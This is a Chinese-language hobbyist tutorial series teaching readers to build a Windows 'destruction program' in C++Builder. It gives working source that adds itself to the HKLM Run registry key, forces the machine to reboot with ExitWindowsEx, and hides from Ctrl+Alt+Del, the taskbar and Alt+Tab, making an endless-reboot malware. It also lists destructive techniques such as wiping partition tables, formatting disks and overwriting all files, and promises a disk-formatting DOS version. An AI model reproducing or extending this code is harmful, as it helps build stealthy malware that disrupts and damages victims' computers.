破坏程序教学
32位版破坏程序教学
zsy
基础知识
自从开办本站以来,好多朋友来信求教病毒程序编写,问题提出的水平也高低不同,我也尽可能的作了详细讲解。在回答问题时我做过了一定的调查,发现大多数经常来乱世天使的朋友都已经具备了一定的水平,所缺乏是经验和提示,所以今天我写了这篇文章,希望能抛砖引玉给大家一定启示,但不希望有人因此而作出损人害己的事(台下一片鼓掌声)。
大家注意到了吗?本文是32位版的!(台下有人问:什么是32位版?)笨,32位版说通俗些即是windows下编的程序如:VC,VB,C++builder,DOS下的TC,BASIC都是16位的。为什么不用16位的呢?费话,16位的破坏程序是80年代的产物,早就被人写烂了,追不上时代的脚步,信不信由你,我曾用TC一夜写了36个不同的16位破坏程序。《破坏程序教学16位版》我将用16位的TC写一篇给大家作参考。
我们用什么工具编写呢?其实,不管是VC还是VB以及Delphi都各有所长.为了满足大部分人的水平,我决定用C++builder4.0来做先锋(就因为它简单易懂),喜欢VC、vb的朋友别走开,因为你可以利用这种思
路。关于c++builder:我极力推荐这个工具(我本来用它编写黑客程序),因为大量的VCL库足以满足大部分要求,而且比起VC简单实用多了,如果你想迅速掌握windows编程,这无疑是最佳途径!
关于“破坏”:其实破坏的手段极多,读了本段你会发现原来我们的操作系统是那样的弱不禁风漏洞百出。我先随便举几个简单的例子:
删除command(win98me已经将它移进windows目录),
破坏分区表,(用内存的垃圾数据写入硬盘的引导区,参见本站的"分区表破坏程序");
强行写入“c:\con\con”(你在“运行”下键入试试!马上叫你死翘翘),
格式化硬盘(别忘了“C盘杀手”哦),
填内存(隐形打开大程序,让你机器速度暴减),
改写所有文件(呵呵,比格式化硬盘更卑鄙,让你永不能恢复),
破坏BIOS(把我害苦了的CIH!!)……总之太多了!!!我还能举1001个例子。
做人嘛,总得讲点道德给别人条活路对吧,做了太决小心被人……。所以我先用“反复重启”来做本文的
例子。(破解很简单只要事先备份好注册表,或者删除、移走源程序即可)。哦!对了本例子的源程序本站有下载。(嗯~?怎么台下都睡着了?)
你将掌握的知识:
1.关于如何读写注册表?
2.如何使电脑重启?
3.如何隐藏程序(不是改属性为“隐藏”)?
4.如何不让程序出现在CTRL+ALT+DEL内?
我们在以后几篇把程序实现……但更希望您能以上步骤自己想出它的原理。
程序的实现
大家好,不知道大家读了《一》后是否来了灵感?我在最后给了大家一点提示并写出了步骤希望大家能够通过思考来想出破坏程序“反复启动”的原理(别告诉我你连想也没想过哦!)。下面我就详细的告诉大家它的原理并写出程序代码,看看和你们的答案一样吗?
第一步:怎样读写注册表?
我们先来思考一下,为什么要读写注册表?有一定基础的朋友一定知道“注册表”是windows系统的灵魂,它是许多软件记录数据的地方,当然也包括windows本身。windows通过它记录大量的数据,然后在下一次启动时再读取相应的数据来设置系统,于是漏洞无法避免的出现了……经过高手的研究,人们渐渐的可以自己来控制注册表以达到不同的目的。我们便利用它来实现开机时程序的读取---也就是在HKEY_LOCAL_MACHINE->SOFTWAR->MICROSOFT->WINDOWS->CurrentVerison->RUN下加入
我们文件的名称即可,这样下次windows启动时顺便会带上我们的程序一起启动(这种方法同样适用与system.ini文件)!这就是为什么要读写注册表的原因。
源程序:
pohuai.cpp (我们暂时定名为pohuai程序)
#include <vcl.h>
#pragma hdrstop
#include <registry.hpp>控制注册表读写的文件,不要忘了加哦!
#include "pohuai.h"
//---------------------------------------------------------------------------
#pragma package(smart_init)
#pragma resource "*.dfm"
TForm1 *Form1;
//---------------------------------------------------------------------------
__fastcall TForm1::TForm1(TComponent* Owner)
: TForm(Owner)
{
}
//---------------------------------------------------------------------------
void __fastcall TForm1::FormCreate(TObject *Sender)
{
AnsiString s;
s="pohuai" ;定义键名
Reg=new TRegistry;
Reg->RootKey =HKEY_LOCAL_MACHINE;指向根目录
Reg->OpenKey ("SOFTWARE\\MICROSOFT\\Windows\\CurrentVersion\\Run",TRUE);到相应目录
Reg->WriteString(s,"c:\\");写入键名和键值(因为用了openkey所以省略了第一个路径参数)另外,确定破坏程序在根目录。
}
//---------------------------------------------------------------------------
pohuai.cpp
#ifndef pohuaiH
#define pohuaiH
//---------------------------------------------------------------------------
#include <Classes.hpp>
#include <Controls.hpp>
#include <StdCtrls.hpp>
#include <Forms.hpp>
//---------------------------------------------------------------------------
class TForm1 : public TForm
{
__published: // IDE-managed Components
void __fastcall FormCreate(TObject *Sender);
private:
TRegistry *Reg; // User declarations声明一个私有的全局变量Reg,类型为TRegistry
public: // User declarations
__fastcall TForm1(TComponent* Owner);
};
//---------------------------------------------------------------------------
extern PACKAGE TForm1 *Form1;
//--
-------------------------------------------------------------------------
#endif
简单吧!这样我们每次启动windows就会自动加载我们的“”程序。
OK!不知不觉已经深夜了,就写到这里吧,zsy星期五为大家继续写《三》……最好大家能来封信说说有什么不懂的,我会尽力讲得更清楚,这样我可以更有方向的教大家。给我来信
第二步:如何让电脑重新启动?
喂~!你可别以为是用“开始—>关机—>重新启动呀,我们可是用软件来控制电脑的启动!!大家可千万别小看这一步,这才是精华部分,也是本程序最难的难点,所以我要讲得详细点(还不快拿好笔记本?!)。这一步到底有多难呢?首先你要略懂一点windows
API函数(什么?你没听说过?)其实只要你明白它的作用即可(反正书上说API函数多达几千个,认真学也得一年半载的,本人也不敢说掌握了),我给大家简述一下:传说当年microsoft公司……(让我翻翻书继续讲)提供了一系列的编程函数,这样的目的是:1.为windows软件提供统一的外观。2.可以简化代码。这些函数被封藏在DLL(动态连接库)中,被称为"应用程序接口Applicantion
Programming
Interface"简称API)这样我们只要调用它们来完成许多复杂的工作,例如重新启动。如果你实在不懂,就当它是一个可以使机器重启的普通函数吧。
原理:
ExitwindowsEx函数
函数原型:
ExitwindowsEx(UINT uFlags,DWORD dwReserved);
函数功能:
该函数注销当前用户,关闭系统;或者关闭并重新启动系统。此函数发送WM_QUERYENDSESSION消息给应用程序来确定它们是否能被终止。
参数介绍:
uFlags;指定关机类型。此参数必须包括下列值之一:EWX_LOGOFF,EWX_POWEROFF,EWX_REBOOT,EWX_SHUTDOWN。还包括EWX_FORCE,EWX_FORCEIFHUNG两个可选值。现在只简单介绍一下本文程序中用到的参数,其它参数可参考本文的参考文献。
EWX_LOGOFF:关闭所有调用函数ExitWindowsEx的进程的安全环境里运行的进程,然后注销用户。
EWX_REBOOT:关闭系统并重新启动系统。(我们就用这一步即可)
EWX_SHUTDOWN:关闭系统使之能完全关闭电源,所有文件缓冲区都被清洗到磁盘,所有的运行的进程都停止。
源程序:
#include <vcl.h>
#pragma hdrstop
#include "reboot.h" (本程序暂定为)
//---------------------------------------------------------------------------
#pragma package(smart_init)
#pragma resource "*.dfm"
TForm1 *Form1;
//---------------------------------------------------------------------------
__fastcall TForm1::TForm1(TComponent* Owner)
: TForm(Owner)
{
}
//---------------------------------------------------------------------------
void __fastcall TForm1::Button1Click(TObject *Sender)
什么是编程举个例子{
ExitW
indowsEx(EWX_REBOOT,0); 利用了API关机函数ExitWindowsEx!
}
//---------------------------------------------------------------------------
reboot.h
#ifndef rebootH
#define rebootH
//---------------------------------------------------------------------------
#include <Classes.hpp>
#include <Controls.hpp>
#include <StdCtrls.hpp>
#include <ExtCtrls.hpp> 最关键的一句
#include <Forms.hpp>
//---------------------------------------------------------------------------
class TForm1 : public TForm
{
__published: // IDE-managed Components
TButton *Button1;
void __fastcall Button1Click(TObject *Sender);
private: // User declarations
public: // User declarations
__fastcall TForm1(TComponent* Owner);
};
//---------------------------------------------------------------------------
extern PACKAGE TForm1 *Form1;
//---------------------------------------------------------------------------
#endif
实在很简单,这短短的几行就完成了重启的任务,这说明了如果我们能很好的理解强大的API函数无疑将为我们的破坏程序加上了致命的重磅,过几个星期我会上载几篇我整理的API文章,希望大家能好好利用。在《破坏程序4》中,我将会近一步完善,到底还有什么需要改进呢?看看第一篇吧!
最后完善
在《破坏程序2、3》中,我们已经基本完成了主程序的基本框架,即重启和注册表写入,今天我来讲解下如何近一步完善我们的程序。到底还有什么要改善呢?太多了,如躲避杀毒软件的追杀,防止意外中断……,为了大家都能理解,我就用两个简单例子来完善:1.让程序不出现在CTRL+ALT+DEL中 2.启动程序时不让用户看见,这两段程序足以应付大部分菜鸟的拦截。
1.让程序不出现在CTRL+ALT+DEL中
原理:
很简单,其实也是利用了windows系统的一个漏洞,有编程经验的朋友一定知道,当应用程序主窗口没有标题时,程序是不会让CTRL+ALT+DEL给拦截的,因为当你按下CTRL+ALT+DEL时你将根本看不见
它。聪明吧!这样就可以简单地躲开软启动的阻截,而不用编写相对复杂的锁键盘程序。诚实的说以下程序并非我先想出来的,但应用到这里却恰到好处,所以我借花献佛的拿出来给大家参考。
程序:(程序名暂定为reboot)
打开reboot.cpp添加黄颜的一行即可。
WINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR, int)
{
try
{
Application->Title = ""; //程序标题为空的
Application->Initialize();
Application->CreateForm(__classid(TForm1), &Form1);
Application->Run();
}
catch (Exception &exception)
{
Application->ShowException(&exception);
}
return 0;
}
虽然还有很多的方法来避免CTRL+ALT+DEL的拦截,但上述方法无疑是最简单。 
2.隐藏应用程序。
原理:
这里所谓的隐藏就是运行时让别人看不见而
已,并非连两个星期前上载的“进程扫描器”都能躲掉。但我相信这足以混过去(除非有人每次开机都数秒)。我们知道当应用程序启动后在任务栏上会有该程序的图标,这样我们第一个问题出现了!如何隐藏掉任务栏上的图标?
程序:
想隐藏程序的任务条图标,你可以应用ShowWindow函数并传给它Application->Handle窗口句柄。
ShowWindow(Application->Handle, SW_HIDE);
若想让任务条图标再出现,只需将SW_HIDE改为SW_SHOW。
ShowWindow(Application->Handle, SW_SHOW);
注: 你可以设置主窗口的Visible属性为false来隐藏它。
注: 通过ShowWindow来隐藏窗口的任务条图标是不持久的。某些动作会使任务条图标重现。你可以将隐藏的应用程序窗口设为Tool Window来移走程序的任务条图标而避免它再次出现。Tool windows永远不会有任务条图标。 使应用程序窗口成为一个Tool Window有一个副作用:当用户按下Alt-TAB时它将不在程序列表中出现。你可以调用API函数GetWindowLong和SetWindowLong来使应用程序窗口成为一个Tool Window。
WINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR, int)
{
DWORD dwExStyle = GetWindowLong(Application->Handle, GWL_EXSTYLE);
dwExStyle |= WS_EX_TOOLWINDOW;
SetWindowLong(Application->Handle, GWL_EXSTYLE, dwExStyle);
try
{
Application->Initialize();
Application->CreateForm(__classid(TForm1), &Form1);
Application->Run();
}
catch (Exception &exception)
{
Application->ShowException(&exception);
}
return 0;
}
这样可以一举两得地让程序即不出现在任务栏中也不让ALT+TAB查到!
第二个问题:怎样让主窗口不出现?
很简单,实现以下代码即可完成任务。
设置ShowMainForm为False可以让主窗口不在屏幕上显示。
WINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR, int)
{
try
{
Application->Initialize();
Application->CreateForm(__classid(TForm1), &Form1);
Application->ShowMainForm = false;
ShowWindow(Application->Handle, SW_HIDE);
Application->Run();
}
catch (Exception &exception)
{
Application->ShowException(&exception);
}
return 0;
}
结束语
终于为大家完成了四篇教学,由于时间仓促,编写人员水平有限……总之大家以后还是能一如既往的支持乱世天使。另外,这四篇文章版权归乱世天使所有,但欢迎各大网站免费刊登(必须注明出处)。好了,不多说了,我还要写DOS版的破坏程序,由于本人对DOS比windows要了解的多,所以写得一定更精彩,而且我将痛下杀手来format硬盘,大家敬请期待!!!

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。